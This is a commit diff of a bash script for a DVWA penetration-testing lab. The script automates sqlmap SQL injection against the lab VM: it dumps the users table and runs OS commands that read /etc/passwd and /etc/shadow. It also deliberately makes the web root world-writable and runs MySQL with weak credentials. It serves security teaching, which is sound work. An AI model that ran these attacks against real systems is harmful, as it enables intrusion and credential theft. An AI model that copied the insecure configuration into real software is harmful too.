Skip to content

Commit 915d8d9

Browse files
harshagvharshagv
authored
mount dvwa root directory for mysql container
1 parent 0fbaa8c commit 915d8d9

File tree

1 file changed

+158
-91
lines changed

1 file changed

+158
-91
lines changed

‎usyd/scripts-library/dvwa-pentest-lab.sh‎

Lines changed: 158 additions & 91 deletions
Original file line numberDiff line numberDiff line change
@@ -26,10 +26,10 @@
2626
# wget -qO- https://raw.githubusercontent.com/harshagv/pythonWorks/master/usyd/scripts-library/dvwa-pentest-lab.sh | DVWA_PHPSESSID=<PHPSESSID> DVWA_TARGET_URL="<http://DVWA_IP>" sudo -E bash -s kali_vuln_scan
2727
# - Provides guidance for OWASP ZAP or OpenVAS scanning.
2828
#
29-
# wget -qO- https://raw.githubusercontent.com/harshagv/pythonWorks/master/usyd/scripts-library/dvwa-pentest-lab.sh | DVWA_TARGET_URL="<http://DVWA_IP>" sudo -E bash -s kali_sqlmap_sqli
29+
# wget -qO- https://raw.githubusercontent.com/harshagv/pythonWorks/master/usyd/scripts-library/dvwa-pentest-lab.sh | DVWA_PHPSESSID=<PHPSESSID> DVWA_TARGET_URL="<http://DVWA_IP>" sudo -E bash -s kali_sqlmap_sqli
3030
# - Provides sample sqlmap commands for basic SQL injection.
3131
#
32-
# wget -qO- https://raw.githubusercontent.com/harshagv/pythonWorks/master/usyd/scripts-library/dvwa-pentest-lab.sh | DVWA_TARGET_URL="<http://DVWA_IP>" sudo -E bash -s kali_os_shell
32+
# wget -qO- https://raw.githubusercontent.com/harshagv/pythonWorks/master/usyd/scripts-library/dvwa-pentest-lab.sh | DVWA_PHPSESSID=<PHPSESSID> DVWA_TARGET_URL="<http://DVWA_IP>" sudo -E bash -s kali_os_shell
3333
# - Attempts to get an OS shell on DVWA VM via sqlmap and extracts sensitive files.
3434

3535
# Generate the script logs
@@ -296,6 +296,7 @@ ubuntu_install_mysql_docker_vulnerable() {
296296
local MYSQL_IMAGE="mysql"
297297
local CONTAINER_NAME="dvwa-vulnerable-mysql"
298298
local MYSQL_ROOT_PASSWORD="password" # Consistent with other parts of the script
299+
local DVWA_PATH="/var/www/html/dvwa"
299300
local DVWA_DB_NAME="dvwa"
300301
local DVWA_DB_USER="dvwa"
301302
local DVWA_DB_PASS="pass"
@@ -369,20 +370,14 @@ ubuntu_install_mysql_docker_vulnerable() {
369370
print_info "Starting MySQL ${VULN_MYSQL_VERSION} Docker container '${CONTAINER_NAME}'.."
370371
# Map container port 3306 to host port 3306, relying on native DB being purged.
371372
# Environment variables handle initial root password, DVWA database, and DVWA user creation.
372-
# docker run --name "${CONTAINER_NAME}" \
373-
# -e MYSQL_ROOT_PASSWORD="${MYSQL_ROOT_PASSWORD}" \
374-
# -e MYSQL_DATABASE="${DVWA_DB_NAME}" \
375-
# -e MYSQL_USER="${DVWA_DB_USER}" \
376-
# -e MYSQL_PASSWORD="${DVWA_DB_PASS}" \
377-
# -p 3306:3306 \
378-
# -d "${MYSQL_IMAGE}:${VULN_MYSQL_VERSION}"
379373
docker run --name "${CONTAINER_NAME}" \
380-
--network host \
381-
-e MYSQL_ROOT_PASSWORD="${MYSQL_ROOT_PASSWORD}" \
382-
-e MYSQL_DATABASE="${DVWA_DB_NAME}" \
383-
-e MYSQL_USER="${DVWA_DB_USER}" \
384-
-e MYSQL_PASSWORD="${DVWA_DB_PASS}" \
385-
-d "${MYSQL_IMAGE}:${VULN_MYSQL_VERSION}" || { print_error "Failed to start MySQL Docker container. Check 'docker logs ${CONTAINER_NAME}' for details."; exit 1; }
374+
--network host \
375+
-v "${DVWA_PATH}:${DVWA_PATH}" \
376+
-e MYSQL_ROOT_PASSWORD="${MYSQL_ROOT_PASSWORD}" \
377+
-e MYSQL_DATABASE="${DVWA_DB_NAME}" \
378+
-e MYSQL_USER="${DVWA_DB_USER}" \
379+
-e MYSQL_PASSWORD="${DVWA_DB_PASS}" \
380+
-d "${MYSQL_IMAGE}:${VULN_MYSQL_VERSION}" || { print_error "Failed to start MySQL Docker container. Check 'docker logs ${CONTAINER_NAME}' for details."; exit 1; }
386381

387382
print_info "Waiting for MySQL container to become healthy (up to 90 seconds).."
388383
local RETRIES=18 # 18 * 5 seconds = 90 seconds
@@ -460,6 +455,7 @@ ubuntu_set_dvwa_permissions() {
460455
fi
461456

462457
sudo chmod -R ugo+rw "$DVWA_PATH"
458+
sudo ls -la "$DVWA_PATH"
463459
print_success "Permissions set for $DVWA_PATH to be world-writable (ugo+rw)."
464460
print_info "This is specifically for enabling sqlmap's --os-shell upload capabilities to write files to the web root."
465461
}
@@ -508,6 +504,7 @@ kali_install_tools_prerequisites() {
508504
export PATH="$PATH:${PIPX_BIN_DIR}"
509505
fi
510506

507+
# Ensure pipx's environment is correctly set up for the target user's shell configuration
511508
print_info "Ensuring pipx path is correctly set up in shell config for user '$TARGET_USER'..."
512509
sudo -u "$TARGET_USER" pipx ensurepath --force > /dev/null 2>&1 || print_warn "pipx ensurepath failed for user '$TARGET_USER'."
513510

@@ -518,6 +515,8 @@ kali_install_tools_prerequisites() {
518515
else
519516
print_error "Failed to install/upgrade zap-cli-v2 for user '$TARGET_USER'."
520517
fi
518+
519+
# Verify zap-cli-v2 is executable *within the current script's PATH*
521520
if command -v zap-cli-v2 &> /dev/null; then
522521
print_success "zap-cli-v2 executable found in current PATH."
523522
else
@@ -1027,103 +1026,171 @@ EOF
10271026
# Function: kali_demonstrate_sqlmap_sqli
10281027
# Provides sample sqlmap commands for basic SQL injection attacks against DVWA.
10291028
kali_demonstrate_sqlmap_sqli() {
1030-
print_title "=== SQLmap SQL Injection Demonstration ==="
1031-
1032-
local TARGET="$DVWA_TARGET_URL"
1033-
local SQLMAP_OUTDIR="$HOME/scans/dvwa/sqlmap_sqli"
1034-
mkdir -p "$SQLMAP_OUTDIR"
1029+
print_title "=== Running SQLmap SQL Injection Scans ==="
10351030

1036-
print_info "Targeting DVWA VM at: ${TARGET}"
1037-
1038-
print_info "Before running sqlmap:"
1039-
print_info "1. Log into DVWA (admin/password) from your Kali browser."
1040-
print_info "2. Set the 'Security Level' to 'Low' under 'DVWA Security'."
1041-
print_info "3. Navigate to 'SQL Injection (Blind)' or 'SQL Injection' vulnerabilities."
1042-
print_info "4. Capture your PHPSESSID cookie from browser developer tools (e.g., Firefox: F12 -> Storage -> Cookies)."
1043-
print_warn " You MUST replace <YOUR_PHPSESSID_HERE> with your actual PHPSESSID cookie value for these commands to work."
1031+
# --- Step 1: Validate Environment Variables ---
1032+
if [ -z "${DVWA_TARGET_URL:-}" ]; then
1033+
print_error "DVWA_TARGET_URL environment variable is not set."
1034+
print_info "Please run the script like: DVWA_TARGET_URL=\"http://<IP>\" sudo -E bash -s kali_sqlmap_sqli"
1035+
exit 1
1036+
fi
1037+
if [ -z "${DVWA_PHPSESSID:-}" ]; then
1038+
print_error "DVWA_PHPSESSID environment variable is not set."
1039+
print_info "Please run the script like: DVWA_PHPSESSID=\"<ID>\" DVWA_TARGET_URL=\"http://<IP>\" sudo -E bash -s kali_sqlmap_sqli"
1040+
exit 1
1041+
fi
1042+
print_info "Using DVWA Target URL: ${DVWA_TARGET_URL}"
1043+
print_info "Using PHPSESSID: ${DVWA_PHPSESSID}"
10441044
echo ""
1045+
# --- End Validation ---
10451046

1046-
print_info "Example 1: Listing databases using sqlmap against DVWA SQLi (GET) vulnerability:"
1047-
echo "${GREEN}sqlmap -u \"${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\" \\"
1048-
echo " --cookie=\"PHPSESSID=<YOUR_PHPSESSID_HERE>; security=low\" \\"
1049-
echo " --dbs --batch --level=1 --risk=1 \\"
1050-
echo " --output-dir=\"${SQLMAP_OUTDIR}\" --file-log=\"${SQLMAP_OUTDIR}/sqlmap_sqli_dbs.log\"${RESET}"
1047+
local TARGET="${DVWA_TARGET_URL%/}" # Sanitize URL to remove trailing slash
1048+
local PHPSESSID="$DVWA_PHPSESSID"
1049+
local TARGET_USER=$(logname 2>/dev/null || echo "$SUDO_USER")
1050+
local USER_HOME=$(eval echo "~${TARGET_USER}")
1051+
local OUTDIR="${USER_HOME}/scans/dvwa/sqlmap_sqli"
1052+
1053+
# Prepare output directory and ensure correct ownership
1054+
sudo mkdir -p "$OUTDIR"
1055+
sudo chown -R "$TARGET_USER":"$TARGET_USER" "$OUTDIR"
1056+
1057+
# --- Step 2: Define Base Command and Run Scans ---
1058+
local SQLI_URL="${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
1059+
local COOKIE_STRING="PHPSESSID=${PHPSESSID}; security=low"
1060+
1061+
# Base command for all sqlmap executions. --batch is critical for non-interactive runs.
1062+
local SQLMAP_BASE_CMD="sqlmap -u \"${SQLI_URL}\" --cookie=\"${COOKIE_STRING}\" --batch --level=1 --risk=1 --output-dir=\"${OUTDIR}\""
1063+
1064+
# Scan 1: List Databases
1065+
local DBS_LOG="${OUTDIR}/1_databases_list.log"
1066+
print_info "Running sqlmap to list databases... Log: ${DBS_LOG}"
1067+
if sudo -u "$TARGET_USER" bash -c "${SQLMAP_BASE_CMD} --dbs" > "${DBS_LOG}" 2>&1; then
1068+
print_success "Successfully listed databases."
1069+
else
1070+
print_error "Failed to list databases. Check the log file for details."
1071+
fi
10511072
echo ""
10521073

1053-
print_info "Example 2: Dumping tables from the 'dvwa' database:"
1054-
echo "${GREEN}sqlmap -u \"${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\" \\"
1055-
echo " --cookie=\"PHPSESSID=<YOUR_PHPSESSID_HERE>; security=low\" \\"
1056-
echo " -D dvwa --tables --batch --level=1 --risk=1 \\"
1057-
echo " --output-dir=\"${SQLMAP_OUTDIR}\" --file-log=\"${SQLMAP_OUTDIR}/sqlmap_sqli_tables.log\"${RESET}"
1074+
# Scan 2: List Tables from 'dvwa' database
1075+
local TABLES_LOG="${OUTDIR}/2_tables_list.log"
1076+
print_info "Running sqlmap to list tables from 'dvwa' database... Log: ${TABLES_LOG}"
1077+
if sudo -u "$TARGET_USER" bash -c "${SQLMAP_BASE_CMD} -D dvwa --tables" > "${TABLES_LOG}" 2>&1; then
1078+
print_success "Successfully listed tables."
1079+
else
1080+
print_error "Failed to list tables. Check the log file for details."
1081+
fi
10581082
echo ""
10591083

1060-
print_info "Example 3: Dumping columns from the 'users' table in 'dvwa' database:"
1061-
echo "${GREEN}sqlmap -u \"${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\" \\"
1062-
echo " --cookie=\"PHPSESSID=<YOUR_PHPSESSID_HERE>; security=low\" \\"
1063-
echo " -D dvwa -T users --columns --batch --level=1 --risk=1 \\"
1064-
echo " --output-dir=\"${SQLMAP_OUTDIR}\" --file-log=\"${SQLMAP_OUTDIR}/sqlmap_sqli_columns.log\"${RESET}"
1084+
# Scan 3: List Columns from 'users' table
1085+
local COLUMNS_LOG="${OUTDIR}/3_columns_list.log"
1086+
print_info "Running sqlmap to list columns from 'users' table... Log: ${COLUMNS_LOG}"
1087+
if sudo -u "$TARGET_USER" bash -c "${SQLMAP_BASE_CMD} -D dvwa -T users --columns" > "${COLUMNS_LOG}" 2>&1; then
1088+
print_success "Successfully listed columns."
1089+
else
1090+
print_error "Failed to list columns. Check the log file for details."
1091+
fi
10651092
echo ""
10661093

1067-
print_info "Example 4: Dumping data (usernames/passwords) from the 'users' table in 'dvwa' database:"
1068-
echo "${GREEN}sqlmap -u \"${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\" \\"
1069-
echo " --cookie=\"PHPSESSID=<YOUR_PHPSESSID_HERE>; security=low\" \\"
1070-
echo " -D dvwa -T users --dump --batch --level=1 --risk=1 \\"
1071-
echo " --output-dir=\"${SQLMAP_OUTDIR}\" --file-log=\"${SQLMAP_OUTDIR}/sqlmap_sqli_dump_users.log\"${RESET}"
1094+
# Scan 4: Dump data from 'users' table
1095+
local DUMP_LOG="${OUTDIR}/4_users_dump.log"
1096+
print_info "Running sqlmap to dump data from 'users' table... Log: ${DUMP_LOG}"
1097+
if sudo -u "$TARGET_USER" bash -c "${SQLMAP_BASE_CMD} -D dvwa -T users --dump" > "${DUMP_LOG}" 2>&1; then
1098+
print_success "Successfully dumped user data."
1099+
else
1100+
print_error "Failed to dump user data. Check the log file for details."
1101+
fi
10721102
echo ""
10731103

1074-
print_success "SQLmap SQL Injection demonstration commands provided. Manual execution is required."
1075-
print_info "Ensure you replace <YOUR_PHPSESSID_HERE> with your valid session cookie."
1104+
print_success "All SQLmap scans have been executed. Check the logs in ${OUTDIR} for detailed results."
10761105
}
10771106

10781107
# Function: kali_exploit_sqlmap_os_shell
10791108
# Attempts to get an OS shell on DVWA VM via sqlmap and extracts sensitive files.
10801109
kali_exploit_sqlmap_os_shell() {
1081-
print_title "=== SQLmap OS Shell Exploitation (DVWA - Vulnerable MySQL Required) ==="
1110+
print_title "=== Running SQLmap OS Shell Exploitation ==="
10821111

1083-
local TARGET="$DVWA_TARGET_URL"
1084-
local OS_SHELL_OUTDIR="$HOME/scans/dvwa/os_shell_loot"
1085-
mkdir -p "$OS_SHELL_OUTDIR"
1086-
1087-
print_info "Targeting DVWA VM at: ${TARGET}"
1088-
print_warn "This exploit typically requires the DVWA VM to be running a vulnerable MySQL version (e.g., 5.5 in Docker) and for the DVWA directory to be world-writable (ugo+rw)."
1089-
print_warn "Ensure you have already run the 'mysql50' argument on the Ubuntu VM (for Dockerized MySQL) AND 'set_permissions_ubuntu' argument for DVWA directory."
1090-
print_info "Verify MySQL Docker container is running on your Ubuntu VM: 'sudo docker ps -f name=dvwa-vulnerable-mysql' (from the Ubuntu VM)"
1091-
1092-
1093-
print_info "Before running sqlmap --os-shell:"
1094-
print_info "1. Log into DVWA (admin/password) from your Kali browser."
1095-
print_info "2. Set the 'Security Level' to 'Low' under 'DVWA Security'."
1096-
print_info "3. Navigate to 'SQL Injection (Blind)' or 'SQL Injection' vulnerabilities."
1097-
print_info "4. Capture your PHPSESSID cookie from browser developer tools."
1098-
print_warn " You MUST replace <YOUR_PHPSESSID_HERE> with your actual PHPSESSID cookie value."
1112+
# --- Step 1: Validate Environment Variables ---
1113+
if [ -z "${DVWA_TARGET_URL:-}" ]; then
1114+
print_error "DVWA_TARGET_URL environment variable is not set."
1115+
print_info "Please run the script like: DVWA_TARGET_URL=\"http://<IP>\" sudo -E bash -s kali_os_shell"
1116+
exit 1
1117+
fi
1118+
if [ -z "${DVWA_PHPSESSID:-}" ]; then
1119+
print_error "DVWA_PHPSESSID environment variable is not set."
1120+
print_info "Please run the script like: DVWA_PHPSESSID=\"<ID>\" DVWA_TARGET_URL=\"http://<IP>\" sudo -E bash -s kali_os_shell"
1121+
exit 1
1122+
fi
1123+
print_info "Using DVWA Target URL: ${DVWA_TARGET_URL}"
1124+
print_info "Using PHPSESSID: ${DVWA_PHPSESSID}"
10991125
echo ""
1126+
# --- End Validation ---
11001127

1101-
# Using --os-cmd for each command, as interactive shells are hard to script and log
1102-
# For sqlmap --os-cmd, it typically tries to upload a web shell and execute the command.
1103-
# We must also provide the web server root and language.
1104-
local SQLMAP_BASE_CMD="sqlmap -u \"${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\" --cookie=\"PHPSESSID=<YOUR_PHPSESSID_HERE>; security=low\" --web-server=apache --os-shell-chroot=/ --technique=U --batch --retries=3 --tmp-dir=$OS_SHELL_OUTDIR --data-dir=$OS_SHELL_OUTDIR" # --data-dir specified for sqlmap temp files
1105-
1106-
# Using 'eval' because the command string contains variables and needs to be parsed by the shell
1107-
print_info "Running 'pwd' via sqlmap --os-cmd. Output saved to ${OS_SHELL_OUTDIR}/pwd.log"
1108-
eval "${SQLMAP_BASE_CMD} --os-cmd=\"pwd\" --file-log=\"${OS_SHELL_OUTDIR}/pwd.sqlmap.log\" > \"${OS_SHELL_OUTDIR}/pwd.log\" 2>&1" || print_warn "Failed to run 'pwd' or output capture issue. Check logs."
1109-
1110-
print_info "Running 'whoami' via sqlmap --os-cmd. Output saved to ${OS_SHELL_OUTDIR}/whoami.log"
1111-
eval "${SQLMAP_BASE_CMD} --os-cmd=\"whoami\" --file-log=\"${OS_SHELL_OUTDIR}/whoami.sqlmap.log\" > \"${OS_SHELL_OUTDIR}/whoami.log\" 2>&1" || print_warn "Failed to run 'whoami' or output capture issue. Check logs."
1112-
1113-
print_info "Running 'cat /etc/passwd' via sqlmap --os-cmd. Output saved to ${OS_SHELL_OUTDIR}/passwd.log"
1114-
eval "${SQLMAP_BASE_CMD} --os-cmd=\"cat /etc/passwd\" --file-log=\"${OS_SHELL_OUTDIR}/passwd.sqlmap.log\" > \"${OS_SHELL_OUTDIR}/passwd.log\" 2>&1" || print_warn "Failed to run 'cat /etc/passwd' or output capture issue. Check logs."
1128+
local TARGET="${DVWA_TARGET_URL%/}" # Sanitize URL
1129+
local PHPSESSID="$DVWA_PHPSESSID"
1130+
local TARGET_USER=$(logname 2>/dev/null || echo "$SUDO_USER")
1131+
local USER_HOME=$(eval echo "~${TARGET_USER}")
1132+
local OUTDIR="${USER_HOME}/scans/dvwa/os_shell_loot"
1133+
1134+
# Prepare output directory and ensure correct ownership
1135+
sudo mkdir -p "$OUTDIR"
1136+
sudo chown -R "$TARGET_USER":"$TARGET_USER" "$OUTDIR"
11151137

1116-
print_info "Running 'cat /etc/shadow' via sqlmap --os-cmd. Output saved to ${OS_SHELL_OUTDIR}/shadow.log"
1117-
eval "${SQLMAP_BASE_CMD} --os-cmd=\"cat /etc/shadow\" --file-log=\"${OS_SHELL_OUTDIR}/shadow.sqlmap.log\" > \"${OS_SHELL_OUTDIR}/shadow.log\" 2>&1" || print_warn "Failed to run 'cat /etc/shadow' or output capture issue. Check logs."
1138+
print_warn "This exploit requires the DVWA VM to be running a vulnerable MySQL version (e.g., 5.5 in Docker) and for the DVWA directory to be world-writable (ugo+rw)."
1139+
print_warn "Ensure you have already run the 'mysql50' and 'set_permissions_ubuntu' arguments on the Ubuntu VM."
1140+
1141+
# --- Step 2: Define a Truly Non-Interactive, Robust sqlmap Command ---
1142+
local SQLI_URL="${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
1143+
local COOKIE_STRING="PHPSESSID=${PHPSESSID}; security=low"
1144+
1145+
# --flush-session: Clears old data for a clean run.
1146+
# --answers="...": Pre-answers the interactive prompts seen in the log.
1147+
# --os=Linux: Specifies the target OS to avoid fingerprinting prompts.
1148+
# --web-root: Explicitly defines the web root to prevent guesswork failures.
1149+
local SQLMAP_BASE_CMD="sqlmap -u \"${SQLI_URL}\" \
1150+
--cookie=\"${COOKIE_STRING}\" \
1151+
--batch \
1152+
--flush-session \
1153+
--os=Linux \
1154+
--web-root=\"/var/www/html/dvwa\" \
1155+
--answers=\"language=4,follow=Y,merge=Y\" \
1156+
--output-dir=\"${OUTDIR}\""
1157+
1158+
# Command Execution Array
1159+
declare -a COMMANDS_TO_RUN=("pwd" "whoami" "cat /etc/passwd" "cat /etc/shadow")
1160+
1161+
for CMD in "${COMMANDS_TO_RUN[@]}"; do
1162+
local CMD_SLUG=$(echo "$CMD" | tr -d ' /') # Create a safe filename, e.g., "catetcpasswd"
1163+
local CMD_LOG="${OUTDIR}/${CMD_SLUG}.log"
1164+
print_info "Running '${CMD}' via sqlmap --os-cmd. Log: ${CMD_LOG}"
1165+
1166+
local FULL_SQLMAP_CMD="${SQLMAP_BASE_CMD} --os-cmd=\"${CMD}\""
1167+
1168+
# Temporarily disable 'set -e' for the sqlmap command
1169+
set +e
1170+
sudo -u "$TARGET_USER" bash -c "$FULL_SQLMAP_CMD" > "$CMD_LOG" 2>&1
1171+
local SQLMAP_EXIT_CODE=$?
1172+
set -e
11181173

1119-
print_success "SQLmap OS shell commands attempted. Check the files in ${OS_SHELL_OUTDIR} for output."
1120-
print_info "If '--os-cmd' commands fail, try the interactive '--os-shell' mode manually:"
1121-
echo "${GREEN}sqlmap -u \"${TARGET}/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit\" \\"
1122-
echo " --cookie=\"PHPSESSID=<YOUR_PHPSESSID_HERE>; security=low\" \\"
1123-
echo " --os-shell --web-server=apache --os-shell-chroot=/ \\"
1124-
echo " --output-dir=\"$OS_SHELL_OUTDIR\"${RESET}"
1125-
print_warn " Remember to replace <YOUR_PHPSESSID_HERE>."
1126-
print_info " When in the sql-shell, you might be asked to provide web server language (choose 'php'), and web server document root (specify '/var/www/html/dvwa')."
1174+
if [ "$SQLMAP_EXIT_CODE" -eq 0 ]; then
1175+
print_success "sqlmap completed for '${CMD}' (exit code 0)."
1176+
echo "--- Output for '${CMD}' ---"
1177+
# Filter for the actual command output which sqlmap usually puts in a "command output" section
1178+
if grep -q "command output" "$CMD_LOG"; then
1179+
# A bit complex, but this extracts the block of text under "command output"
1180+
sudo awk '/command output:/ {flag=1; next} /\[\*\] ending/ {flag=0} flag' "$CMD_LOG"
1181+
else
1182+
print_warn "Could not find 'command output' section. Displaying raw relevant log:"
1183+
sudo grep -vE '^\[\*\]|^\[INFO\]|^\[WARNING\]' "$CMD_LOG"
1184+
fi
1185+
echo "--------------------------"
1186+
else
1187+
print_error "sqlmap failed for '${CMD}' with exit code $SQLMAP_EXIT_CODE."
1188+
print_info "Check the full log for details: ${CMD_LOG}"
1189+
fi
1190+
echo ""
1191+
done
1192+
1193+
print_success "All SQLmap OS shell commands have been attempted. Check the logs in ${OUTDIR} for detailed output."
11271194
}
11281195

11291196
# Function to display the final signature

0 commit comments

Comments
 (0)